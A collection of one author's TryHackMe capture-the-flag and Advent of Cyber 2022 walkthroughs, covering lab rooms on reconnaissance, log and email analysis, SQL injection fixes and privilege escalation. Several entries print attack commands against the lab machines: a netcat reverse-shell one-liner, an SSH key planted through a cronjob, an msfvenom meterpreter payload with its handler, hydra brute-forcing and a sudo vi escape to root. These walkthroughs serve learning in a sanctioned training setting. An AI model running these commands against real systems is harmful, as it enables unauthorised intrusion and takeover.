TryHackMe - Smag Grotto - writeup

Smag Grotto is one of the easy CTF rooms on the TryHackMe.com. Here are my steps that lead me to the successful solution and finding both user and root flag. Before you start you need to boot up the VM and attackbox machine.

1. step
First I have run nmap scan:

nmap -sC VM_IP

Scan gives me that only 2 ports are open - ssh and http. Connection to the page ip, didnt give me much more info.
2. step
I then tried researching the VM with gobuster:

gobuster dir -t 40 -u VM_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

With gobuster I find /mail folder.
3. step
Then I opened /mail folder where we find the email correspondence with .pcap trace file.
4. step
I have downloaded the pcap file and open it with wireshark.In the trace file I have found the new domain where site is located. I also found the username and password for login.
5. step
To access new domain I have added VM_IP and new domain I have found in .pcap file to the /etc/hosts file on attackbox machine.
6. step
Now I have entered domain to the web browser and found login.php script and enter credentials from .pcap file.
7. step
After the login you are at site where you can enter commands. I had to look around the internet to get hint what to do in this step. In this step we initiate the reverse shell and start nc listener on attack box. I have run:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Attackbox_IP 1338 >/tmp/f

On the attackbox I have started nc listener:

nc -lvnp 1338

8. step
In a second I got shell access as www-data. After that I have checked cronjob settings and see that there is copy of the /opt/.backups/jake_ir_rsa.pub.backup public key to the authorised keys. Hmmm I think we could exploit this one by putting our public key instead of legit key.
9. step
On attackbox machine we can create our public key with following command:

ssh-keygen -t rsa -P '' -f jakekey

then we open key file and copy to the target machine with :

echo "public_key_we_created" > jake_id_rsa.pub.backup

Note that you need to create file in /opt/.backups/ folder and filename needs to be as stated above that cronjob will take our file and we can login to the machine.
10. step
Ok in this step I tried to log in to the machine using key. But of course I bit forgot how to do it so I had to look for little help what is exact command to use ssh keys to connect to the machine.

ssh -i jakekey jake@devleopment.smag.thm

then I pressed enter and I was logged in as jake. We can now search for the user flag.

find / -type f -name user.txt 2>/dev/null

11. step
Then I can open user.txt file and copy the flag.
12. step
Now I was missing only root flag and I could access file only as root. I checked what programs I could run as jake user:

sudo -l

Output of the command showed us that apt-get command can be run as jake user.
13. step
To do so we head over to the GTFObins and we find the command that we can run as current user to get root access.


14. step
We can find root flag at:

cat /root/root.txt

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 17 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Day 17 covers topic of the Regular Expressions.

1. Question 1, Question 2
To answer first two questions you can use following regular expression:

^[a-zA-Z0-9]{6,12}$

2. Question 3, Question 4
Following regular expression will help you get answers:

^.+@.+\.com$

3. Question 5
Following regular expression will help you get answers:

lewisham44

4. Question 6
Following regular expression will help you get answers:

maxximax

5. Question 7
Following regular expression will help you get answers:

^.+@.+\.com$

6. Question 8, Question 9

^http(s)?.{3}(www)?.+..+$

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe - ItsyBitsy - writeup

ItsyBitsy room is second room in Security Information and Event Management module of the SOC Level 1 path on TryHackMe. Put your ELK knowledge together and investigate an incident. First you will need to boot up VM and Attackbox which will take few minutes. After attackbox is is booted up we can open Firefox browser and access the Kibana.

1. Question 1 - How many events were returned for the month of March 2022?
Change the date range to look at March 2022 log and you can answer first question.
2. Question 2 -What is the IP associated with the suspected user in the logs?
Question is asking about the source_ip filed. From the logs we can see 2 IP addresses so you much work to find right one.
3. Question 3 - The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary?
Answering this question took me longest time because I didnt find the right answer because I was either looking at wrong place or looked at right answer but not realising this was the answer. Hint look at the user_agent field ;)
4. Question 4 - The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?
When we filter by IP from Question 2 we can answer this one quckly because there are only 2 logs from that source_ip.
5. Question 5 - What is the full URL of the C2 to which the infected host is connected?
Hostname + url field
6. Question 6 - A file was accessed on the filesharing site. What is the name of the file accessed?
We can connect to the filesharing site from URL from previous question and find a file there.
7. Question 7 - The file contains a secret code with the format THM{_____}.
Open file in the filesharing site and copy the flag code.

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 16 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Today's task covers topic of SQL Injection (SQLi). SQL injection is the placement of malicious code in SQL statements, via web page input. Attackers will most probably try to querry the database return all of the users and passwords of the application if this vulnerability exist. Before you start with solving task you need to boot up VM in the task and attackbox for accessing the page. It will probably take a minute or two to boot up. After that we can open link to the developer page of the app we will try to fix. We login with provided credentials.

1. Question 1 - Fixing SQLi by Data Type Validation
First we use fix from description of the task to fix first and then second querry in the elf.php file after we have saved and press run we will get the first flag
2. Question 2 - Fixing SQLi Using Prepared Statements
With prepared statment described in the task we can quickly fix the search_toys.php and get second flag.
3. Question 3
To find the third flag we need to fix toy.php we can easly fix it same way we fix the elf.php with data type validation.
4. Question 4
For fixing the 4th vunlerability and getting forth flag we will need to fix the login.php. We do it with prepared statment as we did with second flag. Just make sure you use $username and $password instead of $q

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 15 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 15, if anyone gets stuck or need bit of help solving questions. Today's task is addressing issues of input validation of file upload funtionality and unrestricted file upload vulnerabilities. If any of these things are implemented during development of the site threat actor can exploit it and get access to the server. First you need to boot up VM and Attackbox since they will take some time to boot up. All questions exepct Q3 can be answered by carefully reading task description of vulnerabilities and how to avoid them. For Q3 we need to create the paypload, we got the command in task description:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=AttackBox_IP LPORT="Listening port" -f exe -o cv-username.exe

It will take a minute to generate it. It will be saved on attackbox /root folder. then you run second command to create the listener :

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST AttackBox_IP; set LPORT 'listening port'; exploit"

After that we can head to the firefox browser and upload the payload file we created with first step. Now we can open listener window and wait until the file that we uploaded to website will be run. When connection is active we can move through directories

1. pwd to check where we are
2. cd ../..
3. we head to the folder HR Elf's Documents directory
4. cat flag.txt

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 14 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 14, if anyone gets stuck or need bit of help solving questions. First you need to boot up VM and attackbox since they will take some time to boot up. After both VM and attackbox machine are booted up you can open the website on provided ip and port 8080 and log in with credentials provided in description of the task. Because of vulnerability present in the website applicaton we can freely change ids in the web address and we cycle (changing profile id numbers) through registered users and find answer to the first question.
For second one we copy profile picture and we change id number for images, because profile images have same vulnerability and we can cycle through pictures and we can find the picuter containing flag which is answer of the second question. I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 13 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 13, if anyone gets stuck or need bit of help solving questions. In today's task main program will be Wireshark. Wireshark is free and opensource package analyzer which will help us solve today's task. Before you start answering questions you need to start the VM, which it takes few minutes. After the VM is booted up you can open trace file which is placed on desktop.

1. Q1

When you opened the file you can open drop down meanu options Statistics / Protocol Hierarchy. With data from popup window we can answer first question.
2. Q2

We can now close Procotol Analysis window and open Statistics / Conversation under TCP tab where you will find all data to answer second question.
3. Q3

For answering this question you will need to google what service uses this port.
4. Q4

In search/filter bar you write DNS to filter only dns packages and in the packets under Query / Name we can see domain names that were searched. Dont forget to defang answers. Defanging is process to format url in such way that it can't be clcked by accident. You should forget to put in alphabetical order.
5. Q5 & Q6 & Q7 & Q8

We filter by http requests and then we can find answers from 5 to 8.
6. Q9

For exporting files from trace we head to File/ Export Objects/ HTPP... and we download the file. For obtaining the hash value of the file can run

sha256sum filename

and copy part of the output.
7. Q10

Open Virus total and copy hash value of mailcious file and in thab behavour you will find answer to this last question. Dont forget to defang answers.

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe - Year of the Rabbit - writeup

Year of the Rabbit is the beginer friendly CTF room on TryHackMe.com. How ever i strongly suggest that this isnt your very first CTF room. Because this one is pretty long and not so straight forward as you would suspect from easy room. Here is my "journey" through the VM we need to hack in and

1. step

As usually I started with nmap scan:

nmap -sS VM_IP

Output looks promissing with open ftp, ssh and http port.
I tried if ftp might allow us anonymous log in but without luck it doesnt allow. We will return to the ftp later.
2. step

In this step we will run our friend gobuster.

gobuster dir -u http://VM_IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

Output directs us to the /assets folder where we find 2 files.
3. step

Well we got some text and a video. The text suggest that hint is in the video so i went for that but no luck. I tried looking around the web for hint and suggestion was to use burp suite. We use it to intercept the get request for page /sup3r_s3cr3t_fl4g.php in response we find the hidden folder.
4. step

Open the hidden folder we got in previous step we find picture of the girl. Hmm what could we do with it maybe some meta data.

strings hot_babe.png

Voila we get list of possible password and username for FTP access.
5. step

We use hydra tool:

hydra -l ftpuser - P possible_pass.txt ftp:/vm_ip

Hydra will run fast because of short list and you get log in to the ftp with username and password:

ftp VM_IP

We are prompted for credentials. After login we use ls and we see Eli's_Creds.txt. I have downloaded filed to attackbox:

get Eli's_Creds.txt

6. step

I have opened file on attackbox at first file looks like jibrish but I think I saw once this before.
I have looked around the web for brainfuck language. I have confirmed that this is brainfuck and I used this decoder
This one gave us ssh credentials.

ssh username@VM_IP

We enter password we got with decoded and the login we get hint were to look for flag? or soemthing else? we have found another credendetials.

su another_username

After logged in new account I checked home folder of user where you find the user.txt flag.
7. step

Ok we got user flag, lets try to escalate priviliges. We check if we can run any command as root user.

sudo -l

From output I saw you can run vi program. I headed over to the GTFObins and see what command will help us to get the root access.

sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

then we ctrl + c and we type in !/bin/sh and voila we have root access.

cd /root

ls

cat root.txt

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 7 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 7, if anyone gets stuck. Firstly start the VM that is attached to the task, for me it took about 2 or 3 minutes that machine booted up. Today's task is pretty easy just follow step by step instructions provided in the task description and you will have answers in few minutes.
After machine booted up you open the FF browser and open cyberchef bookmark.

1. Q1

Cyberchef verison is written in top left corner of the app.
2. Q2

To answer the question you just count steps (or recepies)
3. Q3

You will be able to find name of file in first line of the output of cyberchef
4. Q4

Dont forget to defang URL as I did before entering it as answer.
5. Q5

You find this one too in the out put of cyberchef

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 6 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 6, if anyone gets stuck. Open the email in text editor and can solve most of the questions with analysis

1. Q1

Answer hides in 4th line of the email file - From:
2. Q2

Answer hides in 14th line of the email file - Return-Path:
3. Q3

Answer hides in 4th line of the email file.
4. Q4

Answer hides in 11th line of the email file - X-spam score
5. Q5

Copy value from message ID to the CyberChef and decode from base64. Output is the answer to this question.
6. Q6

GO to EmailRep and enter the sender email. Answer will appear right below the entry box where you have entered email.
7. Q7

Open terminal and move to the eml_attachments fodler on desktop and run:

sha256sum file_name

to get hash value which is the answer of Q7.
8. Q8

Visit VirusTotal site and enter attachment's hash
9. Q9

Visit InQuest site, enter attachment's hash and look for answer on the site

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 5 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 5, if anyone gets stuck.

1. Q1

TO scan initial scan of open ports you run nmap scan:

nmap -sV VM_IP

After that we try bruteforcing the VNC login password with hydra:

hydra -s 5900 -P /usr/share/wordlists/rockyou.txt VM_IP vnc

2. Q2

We connect to the remote VM with Remmina tool installed on Attackbox with password we got with hydra tool. We can find the flag is written on the desktop background.

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 4 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 4, if anyone gets stuck.

1. Q1 & Q2

To answer first 2 questions you can use following command:

nmap -sV [IP of attack VM ]

2. Q3 & Q4

For answering Q3 and Q4 you need to connect to samba share.
To do that you open file explorer and enter smb://IP_of_samba_share and click on the admins folder and login with credentials provided in task.

I hope anyone who gets stuck finds it helpful
AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 3 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 3, if anyone gets stuck. Today's assinment is covering the OSINT technics.
OSINT is gathering and analysing publicly accessable data for intel purposes. For example:

• the internet
• mass media
• journals and research pappers
• photos
• location informations

1. Q1

To anwser the first question you will need to visit who.is to get info about domain in question.
2. Q2

I was looking up on github to find source repository. What is the name of file where would you usally save settings ?
3. Q3

I was looking up on github to find source repository. What is the name of file where would you usally save settings ?
4. Q4

For succesfully answering this one you have to search through the file we talk in Q2 and Q3.
5. Q5

For succesfully answering this one you have to search through the file we talk in Q2 and Q3

I hope anyone who gets stuck finds it helpful AudiTTRSi

TryHackMe.com - Advent of Cyber 2022 - Day 2 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 2, if anyone gets stuck.

1. Q2

To answer this use

ls

command on home folder
2. Q3

With previous command you answer the Q3.
3. Q5

Display server log file in console where you see dates and check the week day and you can answer the question.
4. Q6

With displaying the server log file we can see that logs contains only one IP address.
5. Q7



grep -v 404 webserver.log

To display all lines that does not include 404 requests and see only succesful ones and you can then easly see
6. Q8



grep -i THM *.log


grep through all log files in folder to find the flag.

I hope anyone finds it usefull AudiTTRSi